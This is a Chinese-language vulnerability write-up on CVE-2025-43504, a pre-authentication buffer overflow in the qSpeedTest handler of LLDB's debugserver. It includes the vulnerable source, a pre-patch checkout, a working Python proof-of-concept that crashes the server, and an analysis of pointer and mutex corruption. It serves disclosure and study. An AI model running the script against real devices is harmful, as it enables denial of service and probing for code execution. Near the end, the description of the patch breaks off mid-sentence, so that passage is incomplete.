小时候,我总喜欢在当地沃尔玛翻找 DVD 箱子。我发现很多相同的电影都堆在上面,但如果你真的往深处翻,就能找到更有意思、更小众的片子。
当一个程序发生缓冲区溢出时,基本上就是你在翻它的“打折箱”。取决于你翻得多深,那些 DVD——或者说,内存中被覆盖的结构——会随之改变。
今天要说的“打折箱”是 CVE-2025-43504:我在 LLDB 的 debugserver 中发现的一个远程预认证全局缓冲区溢出漏洞。
在应用程序开发过程中,开发者常常需要在物理 iOS 设备上调试他们的应用。为此,Xcode 会在目标 iPhone 上挂载一个开发者磁盘映像,然后与之配对。
配对完成后,macOS 主机就可以通过安装到客户端上的 debugserver 与 iOS 客户端通信。现在,任何能够与设备上的 debugserver 建立 GDB 远程会话的客户端,都可以访问 qSpeedTest 处理程序,并触发易受攻击的缓冲区溢出。
让我们看看 Xcode 26.1 安全发布页面,以更好地了解苹果是如何对 CVE-2025-43504 进行分类的:

由于现代软件缓解措施,苹果认为缓冲区溢出主要是拒绝服务问题,而不是损坏原语。正如我们今天将要探讨的那样,这通常是正确的,因为攻击者需要克服几个障碍,并且很可能需要将此漏洞与另一个漏洞结合才能实现任意代码执行。
如果你想在修补前的版本中试验 debugserver,请使用以下提交或 ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de 之前的任何提交:
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
在 RNBRemote.cpp 打补丁之前,任何能够连接到 iOS 设备上 debugserver 的远程用户都可以发送一个预认证的 qSpeedTest 数据包到 RNBRemote::HandlePacket_qSpeedTest,并损坏 debugserver 全局数据段中的相邻结构。
然而,有一个重要的限制:我们只能控制损坏的长度。有效载荷的内容固定为连续的 'a' 字符。虽然学生们可能喜欢持续的高分,但此溢出的实际效用受到极大限制,因为我们无法控制实际写入的字节——只能控制 'a' 洪流的长度。
现在,我们来看看 RNBRemote::HandlePacket_qSpeedTest 的内部结构,以确切了解发生了什么:
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// 我们控制 response_size 的长度
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// 用 'a' 溢出 g_data 发生在这里
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
RNBRemote::HandlePacket_qSpeedTest() 的作用是处理传入的 qSpeedTest:response_size:<hex>; 数据包,而无需对能够与 iOS 设备上 debugserver 二进制通信的远程用户进行身份验证。
然而,一旦远程用户能够向 debugserver 发送一个 qSpeedTest:response_size:<hex>; 数据包,debugserver 在处理用户提供的 response_size 之前不会进行任何身份验证检查。因此,任何能够与挂载了开发者磁盘映像的 iOS 设备通信的用户,都可以通过一个 qSpeedTest:response_size:<hex>; 数据包溢出 debugserver。
现在我们到达了易受攻击的函数 RNBRemote::HandlePacket_qSpeedTest(),让我们来研究溢出究竟是如何发生的。首先,数据包 qSpeedTest:response_size:<hex>; 中用户提供的大小 <hex> 被提取并存储到变量 response_size 中:
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
如果解析成功且下一个字符是分号,则初始化一个函数局部静态的 4 MiB + 16 字节缓冲区 g_data,并以 ASCII 头部 "data:" 作为种子:
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
综上所述,memset 使用用户控制的 response_size 值作为 'a' 的数量,填充静态的 4 MiB + 16 字节缓冲区 g_data:
// 用 'a' 溢出 g_data 发生在这里
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
因此,每当远程 LLDB 客户端发送一个 qSpeedTest:response_size:<hex>; 数据包,且 response_size 大于 4 MiB + 16 字节缓冲区时,就会发生缓冲区溢出,并损坏存储在 debugserver 全局数据段 (.bss) 中的相邻全局变量。
现在我们了解了溢出背后的架构,接下来让我们深入探讨该漏洞的实际机制。首先,让我们使用以下 Python 程序来探索通过 g_data 溢出获得的损坏原语:
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# 发送超大 qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (尽力而为)
except Exception:
pass
# 可选的小推动以测试指针使用
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass
def main():
ap = argparse.ArgumentParser(description="发送单个 qSpeedTest 数据包,带有指定的 response_size")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=1234)
ap.add_argument("--size", required=True,
help="response_size 的十六进制字符串(无 0x 前缀),例如 40100a 或 500000")
args = ap.parse_args()
print(f"[i] 发送 qSpeedTest:response_size:0x{args.size} 到 {args.host}:{args.port}")
send_one(args.host, args.port, args.size)
print("[i] 完成。如果 debugserver 崩溃,请检查日志中的 SIGSEGV/SIGBUS 和故障地址。")
if __name__ == "__main__":
main()
启动 debugserver 后,我们运行以下 python3 命令,并提供一个 response_size 为 4004AB:
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB
我们注意到 debugserver 没有崩溃,正常返回:

虽然我们技术上是越界了,但 g_data 以 \0 字节终止,所以相邻的日志函数指针 g_log_callback 只被一个 NULL 字节覆盖,整个指针保持为 NULL。
启动 debugserver 后,我们运行以下 python3 命令,并提供一个 response_size 为 0x4004AC:
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC
天哪!

通过多提供一个字节,我们越过了 NULL 尾部,最终解引用相邻的 g_log_callback 指针,其值为 0x61,导致崩溃。现在,让我们每次将 --size 参数递增一,看看会发生什么:

如我们所见,现在我们可以控制 g_log_callback 的值。嗯,部分是控制,我们实际上只能控制 g_log_callback 中有多少个字节等于 0x61。
我们可以在 _DNBLogVAPrintf 中看到这一点:
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
va_list args) {
static std::recursive_mutex g_LogThreadedMutex;
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
if (g_log_callback)
g_log_callback(g_log_baton, flags, format, args);
}
由于 g_log_callback 非 NULL,互斥锁被锁定并继续调用我们损坏的指针,导致崩溃。现在,在 response_size 达到 0x4004B3 之后,我们不再看到崩溃地址或相应堆栈跟踪有任何实际变化,直到 response_size 增加 0x7F 偏移量之后。从逻辑上讲,这是合理的,因为一旦 g_log_callback 指针损坏,其他日志结构中的后续损坏就会变得无关紧要,因为初始解引用 g_log_callback 就会导致崩溃。
有趣的是,在修补前的 macOS 生产版本上,我能够利用这种部分指针控制来覆盖内存中的各种用户空间指针:
0x0000000105006169
0x0000000103006169
0x0000000a0a006169
0x00000009d8006169
0x0000000103006169
0x0000000734006169
0x0000000100006169
出于某种原因,每个地址的尾随字节总是递增 0x8 字节。然而,如果我们能够解决由终止的 0x6169 字节造成的对齐问题,并且能够以某种方式预测和控制被覆盖指针解引用的数据,那么理论上我们将能够重定向控制流,并最终获得代码执行。
我们之前简要讨论了在解引用损坏的 g_log_callback 指针之前互斥锁的锁定。现在,在 response_size 为 0x40052C 时,实际的互斥锁本身被损坏:

我们注意到问题出现在 _DNBLogVAPrintf 执行 lock_guard 构造时:
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
根据堆栈跟踪,我们看到 lock_guard 在调用 __m_.lock 时出错:
31│ _LIBCPP_HIDE_FROM_ABI explicit lock_guard(mutex_type& __m) _LIBCPP_THREAD_SAFETY_ANNOTATION(acquire_capability(__m))
32│ : __m_(__m) {
33│ __m_.lock();
│ ▲
34│ }
35│
进一步来看,让我们看看 std::recursive_mutex 的函数定义:
void recursive_mutex::lock() {
int ec = __libcpp_recursive_mutex_lock(&__m_);
if (ec)
std::__throw_system_error(ec, "recursive_mutex lock failed");
}
它似乎是 __libcpp_recursive_mutex_lock 的一个包装:
inline _LIBCPP_HIDE_FROM_ABI _LIBCPP_NO_THREAD_SAFETY_ANALYSIS int
__libcpp_recursive_mutex_lock(__libcpp_recursive_mutex_t* __m) {
return pthread_mutex_lock(__m);
}
然后它又是 pthread_mutex_lock 的一个包装:
PTHREAD_NOEXPORT_VARIANT
int
pthread_mutex_lock(pthread_mutex_t *mutex)
{
return _pthread_mutex_lock(mutex, false);
}
它又是 _pthread_mutex_lock 的一个包装……但我们没必要深入那么多。
因为 pthread_mutex_t 指针被我们的溢出损坏,pthread_mutex_lock 抛出 std::system_error("recursive_mutex lock failed"),然后程序抛出 abort() 并终止。
由于程序中止,利用位于 0x40052C 和 0x402C62 之间的 response_size 变得非常具有挑战性,因为我们正在损坏一个同步原语,并且 macOS 会执行额外的检查。
现在,当我们使用 response_size 为 0x402C63 或更大时,CPU 在 RNBRemote::HandlePacket_qSpeedTest 中出错,因为 memset 一旦越过边界进入内核在内存中 .bss 段之后放置的任何守卫页或未映射区域:

这种最后的溢出变体不太有趣,因为没有直接的方法来控制程序执行。
现在我们已经介绍了这个问题本身,让我们看看苹果是如何 修补 它的:

根据补丁描述:
将此分配改为堆上分配,并施加可测试的最大大小(目前为 4MB)。
我们看到两个主要变化:
debugserver 的全局数据段 (.bss) 中鉴于苹果软件和系统背后广泛闭源的生态系统,可靠地发现和理解软件缺陷始终是一个挑战。
然而,苹果所依赖的总是存在开源依赖,如果你能在其中一个依赖中找到问题,那么下游很可能会受到影响。
祝狩猎顺利,并且请务必负责任地披露你可能发现的任何问题 😉